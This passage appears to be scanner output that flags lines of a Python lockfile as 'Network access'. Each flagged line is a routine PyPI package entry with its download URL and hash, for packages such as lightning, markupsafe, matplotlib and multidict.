    { url = "https://files.pythonhosted.org/packages/75/19/c60626c47bf0f8ac5dcf72c6c98e266d714f2fbbfd50cf6dab5ede3aaa50/kiwisolver-1.5.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:f443b4825c50a51ee68585522ab4a1d1257fac65896f282b4c67
  • Network accessline 611
    { url = "https://files.pythonhosted.org/packages/47/84/6a6d5e5bb8273756c27b7d810d47f7ef2f1f9b9fd23c9ee9a3f8c75c9cef/kiwisolver-1.5.0-cp313-cp313t-win_arm64.whl", hash = "sha256:893ff3a711d1b515ba9da14ee090519bad4610ed1962fbe298a434e8c5f8db5
  • Network accessline 615
    name = "lightning" version = "2.6.5" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 616
    version = "2.6.5" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 617
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 627
    { name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/c9/1d/83be8536bec71a0173e762a9a1fd92a24a5ad0d0f74c59550c3c4e6c103b/lightning-2.6.5.tar.gz", hash = "sha256:16a30310ed69afde3748491feb5d13508908effd70
  • Network accessline 628
    ] sdist = { url = "https://files.pythonhosted.org/packages/c9/1d/83be8536bec71a0173e762a9a1fd92a24a5ad0d0f74c59550c3c4e6c103b/lightning-2.6.5.tar.gz", hash = "sha256:16a30310ed69afde3748491feb5d13508908effd70390d2bfc203dc0812a4b4a", size = 
  • Network accessline 629
    sdist = { url = "https://files.pythonhosted.org/packages/c9/1d/83be8536bec71a0173e762a9a1fd92a24a5ad0d0f74c59550c3c4e6c103b/lightning-2.6.5.tar.gz", hash = "sha256:16a30310ed69afde3748491feb5d13508908effd70390d2bfc203dc0812a4b4a", size = 65
  • Network accessline 630
    wheels = [     { url = "https://files.pythonhosted.org/packages/e7/c5/fca7144236b6fa3279d0fb3172b32576c5ad8b84a63b9432ad6592d24847/lightning-2.6.5-py3-none-any.whl", hash = "sha256:3702fb7ef4ab51a8c3d4a140f4674514fe72973a9673dfa05e07a078e27
  • Network accessline 631
    { url = "https://files.pythonhosted.org/packages/e7/c5/fca7144236b6fa3279d0fb3172b32576c5ad8b84a63b9432ad6592d24847/lightning-2.6.5-py3-none-any.whl", hash = "sha256:3702fb7ef4ab51a8c3d4a140f4674514fe72973a9673dfa05e07a078e2767389", size = 
  • Network accessline 635
    name = "lightning-utilities" version = "0.15.3" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 636
    version = "0.15.3" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 637
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 640
    { name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/f1/45/7fa8f56b17dc0f0a41ec70dd307ecd6787254483549843bef4c30ab5adce/lightning_utilities-0.15.3.tar.gz", hash = "sha256:792ae0204c79f6859721ac7f386c237
  • Network accessline 641
    ] sdist = { url = "https://files.pythonhosted.org/packages/f1/45/7fa8f56b17dc0f0a41ec70dd307ecd6787254483549843bef4c30ab5adce/lightning_utilities-0.15.3.tar.gz", hash = "sha256:792ae0204c79f6859721ac7f386c237a33b0ed06ba775009cb894e010a84203
  • Network accessline 642
    sdist = { url = "https://files.pythonhosted.org/packages/f1/45/7fa8f56b17dc0f0a41ec70dd307ecd6787254483549843bef4c30ab5adce/lightning_utilities-0.15.3.tar.gz", hash = "sha256:792ae0204c79f6859721ac7f386c237a33b0ed06ba775009cb894e010a842033"
  • Network accessline 643
    wheels = [     { url = "https://files.pythonhosted.org/packages/25/f4/ead6e0e37209b07c9baa3e984ccdb0348ca370b77cea3aaea8ddbb097e00/lightning_utilities-0.15.3-py3-none-any.whl", hash = "sha256:6c55f1bee70084a1cbeaa41ada96e4b3a0fea5909e844dd3
  • Network accessline 644
    { url = "https://files.pythonhosted.org/packages/25/f4/ead6e0e37209b07c9baa3e984ccdb0348ca370b77cea3aaea8ddbb097e00/lightning_utilities-0.15.3-py3-none-any.whl", hash = "sha256:6c55f1bee70084a1cbeaa41ada96e4b3a0fea5909e844dd335bd80f5a73c5f9
  • Network accessline 648
    name = "mako" version = "1.4.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 649
    version = "1.4.1" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 650
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 652
    { name = "markupsafe" }, ] sdist = { url = "https://files.pythonhosted.org/packages/2a/12/b5fa2353e2754cd67fb9f83793fa48ff42c213a5da7e719869d2301f6ab8/mako-1.4.1.tar.gz", hash = "sha256:d7904710b662996425a21627710c4777c45053146942cf8a7aebf7
  • Network accessline 653
    ] sdist = { url = "https://files.pythonhosted.org/packages/2a/12/b5fa2353e2754cd67fb9f83793fa48ff42c213a5da7e719869d2301f6ab8/mako-1.4.1.tar.gz", hash = "sha256:d7904710b662996425a21627710c4777c45053146942cf8a7aebf757c92b8c27", size = 41016
  • Network accessline 654
    sdist = { url = "https://files.pythonhosted.org/packages/2a/12/b5fa2353e2754cd67fb9f83793fa48ff42c213a5da7e719869d2301f6ab8/mako-1.4.1.tar.gz", hash = "sha256:d7904710b662996425a21627710c4777c45053146942cf8a7aebf757c92b8c27", size = 410165,
  • Network accessline 655
    wheels = [     { url = "https://files.pythonhosted.org/packages/a5/54/12ed58d458474aaab5c3d180173e745a4fe131bb330370596876d19ff60f/mako-1.4.1-py3-none-any.whl", hash = "sha256:a359d9a94a541213958742b2698d0a7757bb83551767bc468a74b9905aba9617
  • Network accessline 656
    { url = "https://files.pythonhosted.org/packages/a5/54/12ed58d458474aaab5c3d180173e745a4fe131bb330370596876d19ff60f/mako-1.4.1-py3-none-any.whl", hash = "sha256:a359d9a94a541213958742b2698d0a7757bb83551767bc468a74b9905aba9617", size = 80010
  • Network accessline 660
    name = "markdown-it-py" version = "4.2.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 661
    version = "4.2.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 662
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 664
    { name = "mdurl" }, ] sdist = { url = "https://files.pythonhosted.org/packages/06/ff/7841249c247aa650a76b9ee4bbaeae59370dc8bfd2f6c01f3630c35eb134/markdown_it_py-4.2.0.tar.gz", hash = "sha256:04a21681d6fbb623de53f6f364d352309d4094dd4194040a1
  • Network accessline 665
    ] sdist = { url = "https://files.pythonhosted.org/packages/06/ff/7841249c247aa650a76b9ee4bbaeae59370dc8bfd2f6c01f3630c35eb134/markdown_it_py-4.2.0.tar.gz", hash = "sha256:04a21681d6fbb623de53f6f364d352309d4094dd4194040a10fd51833e418d49", si
  • Network accessline 666
    sdist = { url = "https://files.pythonhosted.org/packages/06/ff/7841249c247aa650a76b9ee4bbaeae59370dc8bfd2f6c01f3630c35eb134/markdown_it_py-4.2.0.tar.gz", hash = "sha256:04a21681d6fbb623de53f6f364d352309d4094dd4194040a10fd51833e418d49", size
  • Network accessline 667
    wheels = [     { url = "https://files.pythonhosted.org/packages/b3/81/4da04ced5a082363ecfa159c010d200ecbd959ae410c10c0264a38cac0f5/markdown_it_py-4.2.0-py3-none-any.whl", hash = "sha256:9f7ebbcd14fe59494226453aed97c1070d83f8d24b6fc3a3bcf9a3
  • Network accessline 668
    { url = "https://files.pythonhosted.org/packages/b3/81/4da04ced5a082363ecfa159c010d200ecbd959ae410c10c0264a38cac0f5/markdown_it_py-4.2.0-py3-none-any.whl", hash = "sha256:9f7ebbcd14fe59494226453aed97c1070d83f8d24b6fc3a3bcf9a38092641c4a", si
  • Network accessline 672
    name = "markupsafe" version = "3.0.3" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 673
    version = "3.0.3" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695
  • Network accessline 674
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 675
    sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698", size = 8
  • Network accessline 676
    wheels = [     { url = "https://files.pythonhosted.org/packages/38/2f/907b9c7bbba283e68f20259574b13d005c121a0fa4c175f9bed27c4597ff/markupsafe-3.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124
  • Network accessline 677
    { url = "https://files.pythonhosted.org/packages/38/2f/907b9c7bbba283e68f20259574b13d005c121a0fa4c175f9bed27c4597ff/markupsafe-3.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124706ee1c8aa8532c
  • Network accessline 678
    { url = "https://files.pythonhosted.org/packages/9c/d9/5f7756922cdd676869eca1c4e3c0cd0df60ed30199ffd775e319089cb3ed/markupsafe-3.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:116bb52f642a37c115f517494ea5feb03889e04df47eeff5b130b180
  • Network accessline 679
    { url = "https://files.pythonhosted.org/packages/00/07/575a68c754943058c78f30db02ee03a64b3c638586fba6a6dd56830b30a3/markupsafe-3.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:133a43
  • Network accessline 680
    { url = "https://files.pythonhosted.org/packages/a9/21/9b05698b46f218fc0e118e1f8168395c65c8a2c750ae2bab54fc4bd4e0e8/markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccfcd093f
  • Network accessline 681
    { url = "https://files.pythonhosted.org/packages/7f/71/544260864f893f18b6827315b988c146b559391e6e7e8f7252839b1b846a/markupsafe-3.0.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:509fa21c6deb7a7a273d629cf5ec
  • Network accessline 682
    { url = "https://files.pythonhosted.org/packages/c2/28/b50fc2f74d1ad761af2f5dcce7492648b983d00a65b8c0e0cb457c82ebbe/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a4afe79fb3de0b7097d81da19090f4df4f8d3a2b3adaa8764138
  • Network accessline 683
    { url = "https://files.pythonhosted.org/packages/ed/76/104b2aa106a208da8b17a2fb72e033a5a9d7073c68f7e508b94916ed47a9/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:795e7751525cae078558e679d646ae45574b47ed6e7771863fcc
  • Network accessline 684
    { url = "https://files.pythonhosted.org/packages/b5/99/16a5eb2d140087ebd97180d95249b00a03aa87e29cc224056274f2e45fd6/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8485f406a96febb5140bfeca44a73e3ce5116b2501ac54fe953e4
  • Network accessline 685
    { url = "https://files.pythonhosted.org/packages/19/bc/e7140ed90c5d61d77cea142eed9f9c303f4c4806f60a1044c13e3f1471d0/markupsafe-3.0.3-cp313-cp313-win32.whl", hash = "sha256:bdd37121970bfd8be76c5fb069c7751683bdf373db1ed6c010162b2a130248ed", s
  • Network accessline 686
    { url = "https://files.pythonhosted.org/packages/05/73/c4abe620b841b6b791f2edc248f556900667a5a1cf023a6646967ae98335/markupsafe-3.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:9a1abfdc021a164803f4d485104931fb8f8c1efd55bc6b748d2f5774e78b62c5
  • Network accessline 687
    { url = "https://files.pythonhosted.org/packages/f0/3a/fa34a0f7cfef23cf9500d68cb7c32dd64ffd58a12b09225fb03dd37d5b80/markupsafe-3.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:7e68f88e5b8799aa49c85cd116c932a1ac15caaa3f5db09087854d218359e485
  • Network accessline 688
    { url = "https://files.pythonhosted.org/packages/e4/d7/e05cd7efe43a88a17a37b3ae96e79a19e846f3f456fe79c57ca61356ef01/markupsafe-3.0.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:218551f6df4868a8d527e3062d0fb968682fe92054e89978594c2
  • Network accessline 689
    { url = "https://files.pythonhosted.org/packages/99/9e/e412117548182ce2148bdeacdda3bb494260c0b0184360fe0d56389b523b/markupsafe-3.0.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3524b778fe5cfb3452a09d31e7b5adefeea8c5be1d43c4f810ba09f
  • Network accessline 690
    { url = "https://files.pythonhosted.org/packages/bc/e6/fa0ffcda717ef64a5108eaa7b4f5ed28d56122c9a6d70ab8b72f9f715c80/markupsafe-3.0.3-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4e885
  • Network accessline 691
    { url = "https://files.pythonhosted.org/packages/96/ec/2102e881fe9d25fc16cb4b25d5f5cde50970967ffa5dddafdb771237062d/markupsafe-3.0.3-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8709b08f
  • Network accessline 692
    { url = "https://files.pythonhosted.org/packages/4b/30/6f2fce1f1f205fc9323255b216ca8a235b15860c34b6798f810f05828e32/markupsafe-3.0.3-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b8512a91625c9b3da6f127803b1
  • Network accessline 693
    { url = "https://files.pythonhosted.org/packages/58/47/4a0ccea4ab9f5dcb6f79c0236d954acb382202721e704223a8aafa38b5c8/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9b79b7a16f7fedff2495d684f2b59b0457c3b493778c9eed311
  • Network accessline 694
    { url = "https://files.pythonhosted.org/packages/6a/70/3780e9b72180b6fecb83a4814d84c3bf4b4ae4bf0b19c27196104149734c/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:12c63dfb4a98206f045aa9563db46507995f7ef6d83b2f68eda
  • Network accessline 695
    { url = "https://files.pythonhosted.org/packages/98/c5/c03c7f4125180fc215220c035beac6b9cb684bc7a067c84fc69414d315f5/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8f71bc33915be5186016f675cd83a1e08523649b0e33efdb898d
  • Network accessline 696
    { url = "https://files.pythonhosted.org/packages/80/d6/2d1b89f6ca4bff1036499b1e29a1d02d282259f3681540e16563f27ebc23/markupsafe-3.0.3-cp313-cp313t-win32.whl", hash = "sha256:69c0b73548bc525c8cb9a251cddf1931d1db4d2258e9599c28c07ef3580ef354", 
  • Network accessline 697
    { url = "https://files.pythonhosted.org/packages/2b/98/e48a4bfba0a0ffcf9925fe2d69240bfaa19c6f7507b8cd09c70684a53c1e/markupsafe-3.0.3-cp313-cp313t-win_amd64.whl", hash = "sha256:1b4b79e8ebf6b55351f0d91fe80f893b4743f104bff22e90697db1590e47a21
  • Network accessline 698
    { url = "https://files.pythonhosted.org/packages/0e/72/e3cc540f351f316e9ed0f092757459afbc595824ca724cbc5a5d4263713f/markupsafe-3.0.3-cp313-cp313t-win_arm64.whl", hash = "sha256:ad2cf8aa28b8c020ab2fc8287b0f823d0a7d8630784c31e9ee5edea20f40628
  • Network accessline 702
    name = "matplotlib" version = "3.11.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 703
    version = "3.11.1" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 704
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 714
    { name = "python-dateutil" }, ] sdist = { url = "https://files.pythonhosted.org/packages/49/64/f9a391af28f518b11ad45a8a712353c94a0aefce09d3703200e5c54b610a/matplotlib-3.11.1.tar.gz", hash = "sha256:69647db5746941c793d6e445a4cd349323ffb87d9c
  • Network accessline 715
    ] sdist = { url = "https://files.pythonhosted.org/packages/49/64/f9a391af28f518b11ad45a8a712353c94a0aefce09d3703200e5c54b610a/matplotlib-3.11.1.tar.gz", hash = "sha256:69647db5746941c793d6e445a4cd349323ffb87d9cc958c2ad84a659b4832d30", size 
  • Network accessline 716
    sdist = { url = "https://files.pythonhosted.org/packages/49/64/f9a391af28f518b11ad45a8a712353c94a0aefce09d3703200e5c54b610a/matplotlib-3.11.1.tar.gz", hash = "sha256:69647db5746941c793d6e445a4cd349323ffb87d9cc958c2ad84a659b4832d30", size = 
  • Network accessline 717
    wheels = [     { url = "https://files.pythonhosted.org/packages/04/6c/4798363b7fb5644e309fe1fac30216e9146c9f70859d80d588c18caf5317/matplotlib-3.11.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:6771b0cd7838c6a857a7209814158c0ad09bfe
  • Network accessline 718
    { url = "https://files.pythonhosted.org/packages/04/6c/4798363b7fb5644e309fe1fac30216e9146c9f70859d80d588c18caf5317/matplotlib-3.11.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:6771b0cd7838c6a857a7209814158c0ad09bfef878db3033dd82d
  • Network accessline 719
    { url = "https://files.pythonhosted.org/packages/59/98/6acadbe7f98df19d274bc107ac58bb439fa75df82c33dc110d71a4a8501f/matplotlib-3.11.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:2abdee5ffa2fe11b2d19f7a5c63b785fb7c28cc46c7bc1814156341
  • Network accessline 720
    { url = "https://files.pythonhosted.org/packages/24/ea/65cec46fe241390ccea1b1754207ee28eb71c5ab866bd5f22fe47e538fa4/matplotlib-3.11.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:b0a19dcf73406d3746d25a5ed42d71
  • Network accessline 721
    { url = "https://files.pythonhosted.org/packages/c7/10/63fdccccbabe002fb0960876baabc5e3f24d9c1bb4cfb25651457f74b3a0/matplotlib-3.11.1-cp313-cp313-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7389b77ed2ab0552f46d9a90b81
  • Network accessline 722
    { url = "https://files.pythonhosted.org/packages/98/51/a1155945bff7b91381875022ac1522c5dfdac0d006be8e7df389b3134eae/matplotlib-3.11.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:c90be0b73568da4f662afac580956a76e308437e641b4a45aa08
  • Network accessline 723
    { url = "https://files.pythonhosted.org/packages/0d/3a/3d5e1f42dc761bf53401a62a83ff93389b37de9d2c093b2a3aa49ac34f1b/matplotlib-3.11.1-cp313-cp313-win_amd64.whl", hash = "sha256:68408341f2312836fbbdf6b3c78047f65b2d8752f5fd221c3e72d348f5b34f8
  • Network accessline 724
    { url = "https://files.pythonhosted.org/packages/e2/db/3f5ea5a5b64060ef5e1ff60a19170423e41ce21b8497a6fe15a36e0b43e3/matplotlib-3.11.1-cp313-cp313-win_arm64.whl", hash = "sha256:0c1f44890d435c1b4ef52f701ad5828cb450ea97bcc83918fda6be74965d6cd
  • Network accessline 725
    { url = "https://files.pythonhosted.org/packages/98/6e/c7ae5e0531425b69c0826b00ebbc264c85cab853f1cd6e096c9983c2cdc1/matplotlib-3.11.1-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:5e510088c27a89d53580a752f959146893563e63c330e161d159
  • Network accessline 726
    { url = "https://files.pythonhosted.org/packages/92/79/15be162e0a2ed546939674e2e97d0e33ec2447d86d4d4e611fa295bb178c/matplotlib-3.11.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:1524e2bdd48a93557aa47ddcfe9c225dfdd57d5a01a5c49128c20f
  • Network accessline 727
    { url = "https://files.pythonhosted.org/packages/6a/7f/36ffe144fc4aacfe0e3ed2318f72b6755d1e73b041d619b4d393e60f5a66/matplotlib-3.11.1-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:11664c551345553db92e61cae6cf1
  • Network accessline 728
    { url = "https://files.pythonhosted.org/packages/ab/5f/55812d68c0a840d3a463638f48c00ab1fe338518ec49a640cb6473b444af/matplotlib-3.11.1-cp313-cp313t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5e1f8922ba31959cf6a9dfb51b
  • Network accessline 729
    { url = "https://files.pythonhosted.org/packages/7a/64/cca444b4eb5e6c768c44fc5e1f0b5211f20ca2b282778051996e996a2bdf/matplotlib-3.11.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:83235693abde86e5e0129998f80ee39fc7f58e6d56a88fafb28
  • Network accessline 730
    { url = "https://files.pythonhosted.org/packages/e5/0f/a49c329d394f2e9ef38506982107e8b04ecf94dd41a9d8423ff82cc737c7/matplotlib-3.11.1-cp313-cp313t-win_amd64.whl", hash = "sha256:9a076f4fc5cdc43fdf510f5981418d25c2db4973418d9f22d8bb3dc8045ada
  • Network accessline 731
    { url = "https://files.pythonhosted.org/packages/e4/50/103e86afb806d8f64d04ede14e4cfc09dbfc25f512421ff85fdd6ebd59cf/matplotlib-3.11.1-cp313-cp313t-win_arm64.whl", hash = "sha256:216fbb93a74add02ddb4cb38ef5348f59ac00b3e84567eaf16598772d40e15
  • Network accessline 735
    name = "mdurl" version = "0.1.2" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 736
    version = "0.1.2" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/d6/54/cfe61301667036ec958cb99bd3efefba235e65cdeb9c84d24a8293ba1d90/mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5e
  • Network accessline 737
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 738
    sdist = { url = "https://files.pythonhosted.org/packages/d6/54/cfe61301667036ec958cb99bd3efefba235e65cdeb9c84d24a8293ba1d90/mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba", size = 8729, 
  • Network accessline 739
    wheels = [     { url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f
  • Network accessline 740
    { url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979
  • Network accessline 744
    name = "mpmath" version = "1.3.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 745
    version = "1.3.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/e0/47/dd32fa426cc72114383ac549964eecb20ecfd886d1e5ccf5340b55b02f57/mpmath-1.3.0.tar.gz", hash = "sha256:7a28eb2a97
  • Network accessline 746
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 747
    sdist = { url = "https://files.pythonhosted.org/packages/e0/47/dd32fa426cc72114383ac549964eecb20ecfd886d1e5ccf5340b55b02f57/mpmath-1.3.0.tar.gz", hash = "sha256:7a28eb2a9774d00c7bc92411c19a89209d5da7c4c9a9e227be8330a23a25b91f", size = 50810
  • Network accessline 748
    wheels = [     { url = "https://files.pythonhosted.org/packages/43/e3/7d92a15f894aa0c9c4b49b8ee9ac9850d6e63b03c9c32c0367a13ae62209/mpmath-1.3.0-py3-none-any.whl", hash = "sha256:a0b2b9fe80bbcd81a6647ff13108738cfb482d481d826cc0e02f5b35e5c88d
  • Network accessline 749
    { url = "https://files.pythonhosted.org/packages/43/e3/7d92a15f894aa0c9c4b49b8ee9ac9850d6e63b03c9c32c0367a13ae62209/mpmath-1.3.0-py3-none-any.whl", hash = "sha256:a0b2b9fe80bbcd81a6647ff13108738cfb482d481d826cc0e02f5b35e5c88d2c", size = 536
  • Network accessline 753
    name = "multidict" version = "6.7.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 754
    version = "6.7.1" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/1a/c2/c2d94cbe6ac1753f3fc980da97b3d930efe1da3af3c9f5125354436c073d/multidict-6.7.1.tar.gz", hash = "sha256:ec6652a
  • Network accessline 755
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 756
    sdist = { url = "https://files.pythonhosted.org/packages/1a/c2/c2d94cbe6ac1753f3fc980da97b3d930efe1da3af3c9f5125354436c073d/multidict-6.7.1.tar.gz", hash = "sha256:ec6652a1bee61c53a3e5776b6049172c53b6aaba34f18c9ad04f82712bac623d", size = 10
  • Network accessline 757
    wheels = [     { url = "https://files.pythonhosted.org/packages/f2/22/929c141d6c0dba87d3e1d38fbdf1ba8baba86b7776469f2bc2d3227a1e67/multidict-6.7.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:2b41f5fed0ed563624f1c17630cb9941cf23
  • Network accessline 758
    { url = "https://files.pythonhosted.org/packages/f2/22/929c141d6c0dba87d3e1d38fbdf1ba8baba86b7776469f2bc2d3227a1e67/multidict-6.7.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:2b41f5fed0ed563624f1c17630cb9941cf2309d4df00e494b55
  • Network accessline 759
    { url = "https://files.pythonhosted.org/packages/c7/75/bc704ae15fee974f8fccd871305e254754167dce5f9e42d88a2def741a1d/multidict-6.7.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:84e61e3af5463c19b67ced91f6c634effb89ef8bfc5ca0267f95445
  • Network accessline 760
    { url = "https://files.pythonhosted.org/packages/79/76/55cd7186f498ed080a18440c9013011eb548f77ae1b297206d030eb1180a/multidict-6.7.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:935434b9853c7c112eee7ac891bc4cb86455aa631269ae35442cb3167
  • Network accessline 761
    { url = "https://files.pythonhosted.org/packages/e9/3c/414842ef8d5a1628d68edee29ba0e5bcf235dbfb3ccd3ea303a7fe8c72ff/multidict-6.7.1-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:432feb25a1cb67fe82a9
  • Network accessline 762
    { url = "https://files.pythonhosted.org/packages/f6/32/befed7f74c458b4a525e60519fe8d87eef72bb1e99924fa2b0f9d97a221e/multidict-6.7.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e82d14e
  • Network accessline 763
    { url = "https://files.pythonhosted.org/packages/03/d6/c878a44ba877f366630c860fdf74bfb203c33778f12b6ac274936853c451/multidict-6.7.1-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:4cfb48c6ea
  • Network accessline 764
    { url = "https://files.pythonhosted.org/packages/68/49/57421b4d7ad2e9e60e25922b08ceb37e077b90444bde6ead629095327a6f/multidict-6.7.1-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1d540e5
  • Network accessline 765
    { url = "https://files.pythonhosted.org/packages/b7/fe/ec0edd52ddbcea2a2e89e174f0206444a61440b40f39704e64dc807a70bd/multidict-6.7.1-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:273d23f4b40f3
  • Network accessline 766
    { url = "https://files.pythonhosted.org/packages/b0/73/6e1b01cbeb458807aa0831742232dbdd1fa92bfa33f52a3f176b4ff3dc11/multidict-6.7.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9d624335fd
  • Network accessline 767
    { url = "https://files.pythonhosted.org/packages/6a/b2/5fb8c124d7561a4974c342bc8c778b471ebbeb3cc17df696f034a7e9afe7/multidict-6.7.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:12fad252f8b267cc75b66e8fc51b3079604e8d43a75428ffe193c
  • Network accessline 768
    { url = "https://files.pythonhosted.org/packages/5a/96/51d4e4e06bcce92577fcd488e22600bd38e4fd59c20cb49434d054903bd2/multidict-6.7.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:03ede2a6ffbe8ef936b92cb4529f27f42be7f56afcdab5ab739cd5
  • Network accessline 769
    { url = "https://files.pythonhosted.org/packages/db/6b/420e173eec5fba721a50e2a9f89eda89d9c98fded1124f8d5c675f7a0c0f/multidict-6.7.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:90efbcf47dbe33dcf643a1e400d67d59abeac5db07dc3f27d6bdeae4
  • Network accessline 770
    { url = "https://files.pythonhosted.org/packages/44/a3/ec5b5bd98f306bc2aa297b8c6f11a46714a56b1e6ef5ebda50a4f5d7c5fb/multidict-6.7.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:5c4b9bfc148f5a91be9244d6264c53035c8a0dcd2f51f1c3c6e30
  • Network accessline 771
    { url = "https://files.pythonhosted.org/packages/cd/f7/e8c0d0da0cd1e28d10e624604e1a36bcc3353aaebdfdc3a43c72bc683a12/multidict-6.7.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:401c5a650f3add2472d1d288c26deebc540f99e2fb83e9525007a74
  • Network accessline 772
    { url = "https://files.pythonhosted.org/packages/52/da/151a44e8016dd33feed44f730bd856a66257c1ee7aed4f44b649fb7edeb3/multidict-6.7.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:97891f3b1b3ffbded884e2916cacf3c6fc87b66bb0dde46f735740
  • Network accessline 773
